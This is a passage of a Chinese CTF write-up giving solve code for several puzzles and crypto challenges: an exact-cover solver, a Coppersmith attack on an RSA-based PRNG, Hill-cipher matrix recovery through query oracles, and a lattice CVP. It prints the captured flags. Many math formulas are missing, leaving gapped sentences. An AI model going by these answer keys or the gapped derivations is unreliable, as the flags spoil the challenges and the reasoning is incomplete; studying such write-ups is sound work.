for (ptr = col[c].D; ptr != (&col[c]); ptr = ptr->D) {
if (limit[limit_map[ptr->r]] == 0) {
continue;
}
DLXnode *rc;
ptr->R->L = ptr;
for (rc = ptr->L; rc != ptr; rc = rc->L) {
cover(rc->c);
}
ptr->R->L = ptr->L;
ans[k] = ptr->r;
limit[limit_map[ptr->r]]--;
dance(k + 1);
limit[limit_map[ptr->r]]++;
ptr->L->R = ptr;
for (rc = ptr->R; rc != ptr; rc = rc->R) {
re(rc->c);
}
ptr->L->R = ptr->R;
}
re(c);
return false;
}
int main() {
freopen("in.txt", "r", stdin);
freopen("out.txt", "w", stdout);
cin >> n >> m >> l;
init(m, n);
int sr;
for (int i = 0; i < l; i++) {
cin >> limit[i];
}
for (int i = 0; i < m; i++) {
cin >> limit_map[i];
for (int j = 0; j < n; j++) {
cin >> sr;
if (sr == 1) {
addnode(i, j);
}
}
}
dance(0);
return 0;
}之后进行数据预处理，构造为 OI 习惯的输入形式，并生成一些小规模的测试用例。
from itertools import permutations
def check_block(block, i, j, k, col_unit):
return i + block[0] <= col_unit and j + block[1] <= col_unit and k + block[2] <= col_unit
def gen_rows(blocks, col_unit):
rows = set()
for idx, block in enumerate(blocks):
for i in range(col_unit):
for j in range(col_unit):
for k in range(col_unit):
for b in permutations(block):
if check_block(b, i, j, k, col_unit):
rows.add(((i, j, k), b, idx))
return rows
def pos_block_to_01(row, col_unit):
# convert the position of the block to 0-1
bits = [0] * (col_unit ** 3)
pos, block, _ = row
# pos = start position of the block, from (0,0,0) to (5,5,5)
# block = size of the block
# record bits means the block is placed in the position
# from (0,0,0) to (4,4,4), different from pos
# because the bits means a small cube, not a position
for i in range(pos[0], pos[0] + block[0]):
for j in range(pos[1], pos[1] + block[1]):
for k in range(pos[2], pos[2] + block[2]):
# print(f"i={i}, j={j}, k={k} for block {block}")
bits[i * (col_unit ** 2) + j * col_unit + k] = 1
return bits
def gen_files(fname, col_unit, blocks, limit):
col_num = col_unit ** 3
tot_vol = 0
for i in range(len(blocks)):
tot_vol += (blocks[i][0] * blocks[i][1] * blocks[i][2]) * limit[i]
assert tot_vol == col_num
rows = gen_rows(blocks, col_unit)
rows = sorted(list(rows))
res = [(row, pos_block_to_01(row, col_unit)) for row in rows]
with open(f'{fname}.in.txt', 'w') as f:
f.write(str(col_num) + ' ' + str(len(res)) +
' ' + str(len(limit)) + '\n')
f.write(' '.join(map(str, limit)) + '\n')
for row in res:
f.write(str(row[0][2]) + ' ')
f.write(' '.join(map(str, row[1])))
f.write('\n')
with open(f'{fname}.map.txt', 'w') as f:
for idx, row in enumerate(rows):
f.write(str([idx, row[0], row[1], row[2]]) + '\n')
blocks = [(1, 1, 3), (1, 2, 2), (1, 2, 4), (1, 4, 4), (2, 2, 2), (2, 2, 3)]
limit = [3, 4, 2, 2, 2, 3]
gen_files('5x5x5', 5, blocks, limit)
blocks = [(1, 1, 2), (1, 1, 3)]
limit = [9, 3]
gen_files('3x3x3', 3, blocks, limit)
blocks = [(1, 1, 2)]
limit = [4]
gen_files('2x2x2', 2, blocks, limit)这个程序会产生巨量的可行解（2min 时间输出文件为 10MB），之后对于这个数据输出进行筛选，得到需要的解：
import itertools
data = [eval(i) for i in open('out.txt', 'r').readlines()]
maps = [eval(i) for i in open('5x5x5.map.txt', 'r').readlines()]
def format_str(d):
d = list(sorted(d))
result = ""
for i in d:
for j in i:
result += str(j[0]) + str(j[1])
return result
flags = [False] * 3
for co in data:
choice = [maps[i] for i in co]
lines = [[[item[1][i], item[1][i] + item[2][i], -1]
for i in range(3)] for item in choice]
score = len(set((x, y, z) for i in range(16)
for x, y, z in itertools.product(*lines[i])))
if score >= 157 and not flags[0]:
print(score, format_str(lines))
flags[0] = True
elif score <= 136 and not flags[1]:
print(score, format_str(lines))
flags[1] = True
elif not flags[2]:
print(score, format_str(lines))
flags[2] = True
if all(flags):
break很快就能得到三个：
138 022335023435030213030235032413034545040401044504232435343414350213350235352315353545450301453504
136 022434022445030213030235032413034545040401044504232435343414350213350235352315353545450301453504
157 012415014525020235030213040401044502133525143412152315250235350113351213353524353545450301453502flag{G0og1e_1s_a1l_y0u_n3ed_5c3bd816b2}flag{DFS_A1g0ri7hm_1s_u5efu1_58e68f15a4}flag{Knuths_A1g0ri7hm_X_1s_p0w3rful_051b0574a1}
黑客马拉松
这道题的第二问显然要比第一问简单。
一発勝負
先考虑它描述了一个什么问题：对于一个标准的 RSA 过程，考虑
k = 928
state = state >> k
state = pow(state, e, N)
what_you_know = int(state) & ((1 << k) - 1)
assert state == int(input("guess: "))也即对于 ，我们已经知道了 和 的低 位，求 。
而同时我们还知道： 只有低 ，且 只有高 是未知的。
利用多元的 CopperSmith 方法，我们需要得到一个 ，使得 。
不妨考虑构造一个 ，此时 在模 的意义下是一个很大的数，且能满足题目对于逆元的要求。
而此时我们考虑前式，有：
对于我们选取的 而言，我们已知道 ，可以得到：
对这一方程进行多元 CopperSmith 计算，可以得到一组小根，也就是 和 的值。
由于多元 CopperSmith 在 Sage 中没有实现，所以需要找个轮子：
def get_mm_ch(cl):
F = PolynomialRing(Zmod(N), names=('m', 'hc',))
(m, ch,) = F._first_ngens(2)
po = 1 << k
g = m ** 3 * (ch * po + cl) - 1
return small_roots(g, [bound, bound], 3, 4)
lc = ... # low k bits of c
m, ch = get_mm_ch(cl)[0]
guess = pow(m, e, N)flag{บsE_hД5h_0Я_5yMmEtrI¢_Cipher_ƒoЯ_C§pЯNG}
教练，有人抢跑！
顺着第二问的思路可以去考虑第一问的问题了：
k = 928
for _ in range(100):
state = pow(state, e, N)
randomNums.append(int(state) & ((1 << k) - 1))
states.append(state)
print(randomNums)
assert state == int(input("guess: "))在每两轮的迭代中，我们能够得到一组 使得：
这种情况下，我们将问题也变为了一个多元的 CopperSmith 问题，需要求解的小根只有 。
可以列出如下的方程：
使用同样的方法进行求解，不过我们只需要最后的一组 和 的值即可。
def get_mh_ch(ml, cl):
F = PolynomialRing(Zmod(N), names=('mh', 'ch',))
(mh, ch,) = F._first_ngens(2)
po = 1 << k
g = (ch * po + cl) * (mh * po + ml) ** 3 - 1
return small_roots(g, [bound, bound], 3, 6)
ml, cl = ... # low k bits of m and c
mh, ch = get_mh_ch(ml, cl)[0]
m = (mh << k) + ml
guess = pow(m, e, N)PS：不得不说这两问的 flag 好丑啊（
flag{rsA_PЯnG_CoULD_b٤_ß4ckDo٥Я٤D}
不可加密的异世界 2
希尔混淆
这道题拿到题目之后的第一直觉是对于任意的 ，构造 ，那么可以得到对于任意 ，有
也就是说，当我们得知 和 的大小关系的时候，也即下式中 时，可以构造出形如：
这里的 表示的是矩阵 的第 列，也就是说，我们可以通过这种方式得到矩阵 的一列。下面基于这种基本思路构造整个矩阵。
注意我们上述讨论的前提都是我们能够得知一位的大小关系，但是在这道题中，这些大小关系是随机的，这种随机会增加我们查询的成本，因此需要关注到另一点：被加密的明文是 ASCII 码，也就是说，我们可以保证每个字节的最高位都是 0，这样我们就可以通过直接的构造来得到这一信息。
这时候得到的结果需要经过通过在模 257 下求 128 次方的原像，得到：$ Hk = h{hz} ^ {255} = (H_k ^ {128}) ^ {255} \bmod 257$
通过这一的遍历 256 轮后，我们就能得到基本全部的矩阵信息，但是这道题目坑就坑在结果向量中的 0 存在差异性：可能是 0 或者是 256。
如果对于两次查询的结果 和 中均不存在 0，则可以正确得到结果 ，否则，我们需要更多的信息，并记录此差值为
不妨考虑使得第三个向量中的第 位为 0b01000000，记做 ，此时我们可以尝试得到 ，进而得到 与 。
当其中一个的第 位差值为 64 时，我们就可以利用它来得到 $ H_k = (H_k ^ {64}) ^ {253} \bmod 257$。
可以证明，是否为 0 对于 的大部分求解没有影响，此时我们还可以反过来利用 与 及 二者的相似度来确认原始向量的第 7 比特是什么，进而还能依据此信息，根据 ，从而得到另一个 的参考值：
我们可以假设上述三个 之间同一个位置总是不同时为 0，这样我们就可以通过参考三个结果进行互相修正，从而得到准确的 。
实际情况下，这样的概率很小，我们可以通过重新构造、重新查询三个向量的方式获取更多的信息，最终得到 。
def dump_matrix(sh, n=128):
pwnlog.info('dumping matrix...')
mat = []
vector = np.random.randint(0, 127, size=(n, 1), dtype=np.uint8)
vec_ans = commvec(sh, vector)
bar = tqdm(range(n))
for i in bar:
bar.set_description(f"dumping matrix... {i} @ {req_times}")
retry = 0
while True:
base = np.random.randint(0, 127, size=(n, 1), dtype=np.uint8)
zero = base.copy()
high = base.copy()
high[i] = 0b10000000 + retry
zero[i] = 0b00000000 + retry
high_ans = commvec(sh, high)
zero_ans = commvec(sh, zero)
succ, result = check_stage_1(high_ans, zero_ans)
if succ:
mat.append(result)
break
# need more test to determine the result
test = base.copy()
test[i] = 0b01000000 + retry
test_ans = commvec(sh, test)
succ, result = check_stage_2(high_ans, zero_ans, test_ans)
if succ:
mat.append(result)
break
retry += 1
pwnlog.info(f"total requests: {req_times}")
mat = np.matrix(np.array(mat).reshape(n, n))
return mat, vector, vec_ans
def check_stage_1(high, zero):
high_guess = try_get_row(high, zero, 255)
if sum(high == 0) == 0 and sum(zero == 0) == 0:
return True, high_guess
return False, None
def check_stage_2(high, zero, test):
need_retry = False
high_guess = try_get_row(high, zero, 255)
# inverse(64, 257) = 253
# 0b01 ^ 0b01 -> 0b00 / 0b00 ^ 0b01 -> 0b01
# while the input is 0b01, zero - test
zt_guess = try_get_row(zero, test, 253)
# 0b01 ^ 0b00 -> 0b01 / 0b00 ^ 0b00 -> 0b00
# while the input is 0b00, test - zero
tz_guess = try_get_row(test, zero, 253)
# use_tz means the sixth bit is 1
use_tz = get_nearest(high_guess, tz_guess, zt_guess)
if use_tz:
# inverse(64, 257) = 253
ht_guess = try_get_row(high, test, 253)
else:
# inverse(192, 257) = 170
ht_guess = try_get_row(high, test, 170)
high_zeros = np.where(high == 0)[0]
zero_zeros = np.where(zero == 0)[0]
test_zeros = np.where(test == 0)[0]
# check if there are two zero in the same position
high_set = set(high_zeros)
zero_set = set(zero_zeros)
test_set = set(test_zeros)
if len(high_set & zero_set) + len(high_set & test_set) + len(zero_set & test_set) > 0:
return False, None
for pos in high_zeros:
if use_tz:
high_guess[pos] = tz_guess[pos]
else:
high_guess[pos] = zt_guess[pos]
for pos in zero_zeros:
high_guess[pos] = ht_guess[pos]
return True, high_guess
def try_get_row(a, b, inv):
return ((a - b) * inv) % 257
def test_pair(high_guess, ga, gb):
return sum(ga - high_guess) == 0 or sum(gb - high_guess) == 0
def get_nearest(target, a, b):
return sum(abs(a - target)) < sum(abs(b - target))经过测试，上述代码总是能在约 370 次请求中得到完整的矩阵。
之后求逆后，就可以得到原始的矩阵，进而得到原始的向量，得到 flag。
def verify(mat, vec, enc_flag):
ring = Zmod(257)
smat = matrix(ring, mat.T)
if not smat.is_invertible():
return False, None, None
rev = smat ** (-1)
flag_enc = vector(ring, enc_flag)
dec = vector(ZZ, rev * flag_enc) % 256
dec = np.array(dec)
res = bytes([i ^ j for i, j in zip(dec, vec.reshape(-1))])
print("res: ", res)
return True, smat, resflag{G0od_ma7hem5tical_f0undat1on_lin3ar_al9eBra_makes_sense_2cf6937397}
希尔之核
在得到完整的矩阵之后，第二个问题也就是：
根据 Copilot 的解释，求解这样的 实际上就是求解矩阵 的 kernel，因此可以直接写出代码：
def find_vectors(H):
# 创建一个模 257 的环
Z257 = IntegerModRing(257)
# 创建一个在模 257 的环上的矩阵
H_Z257 = matrix(Z257, H)
# 计算 A - I
I = matrix.identity(H_Z257.nrows())
H_minus_I = H_Z257 - I
# 求解 (A - I)x = 0
solution = H_minus_I.right_kernel().basis()
return solutionflag{solving*linear_equations_1s_so_ea5y!!*_^\_\_amazing_rank_**><**\_88924a27af}
希尔之秘
最后，我们上一步中的 是 128 个线性无关的向量，则这一问的目标可以转化为在这 128 个向量构成的模 257 的格中，找到距离 128 唯向量 最近的向量。
也就是转化为格的 CVP 问题。
这里直接参考 mcfx 在 灯，等灯等灯 中提到的方法：
def cvp(vectors):
mat = [[int(j) for j in i] + [0] for i in vectors]
for i in range(128):
arr = [0] * 129
arr[i] = 257
mat.append(arr)
mat.append([-0x50] * 128 + [0xdead])
# ans = Matrix(mat).LLL() # not very good
ans = Matrix(mat).BKZ()
n = len(mat)
for i in range(n):
if ans[i][128]:
for j in range(128):
mat[-1][j] = ans[i][j] - mat[-1][j]
break
return mat[-1][:128]
def check(vec):
svec = vector(Zmod(257), vec)
return all(0x20 <= i < 0x79 for i in vec) and smat * svec == svecflag{lattice_reduction_makes_everything_short_and_babai_finds_things_as_near_as_you_want_ade4bc1fa6}
wechat- alipay
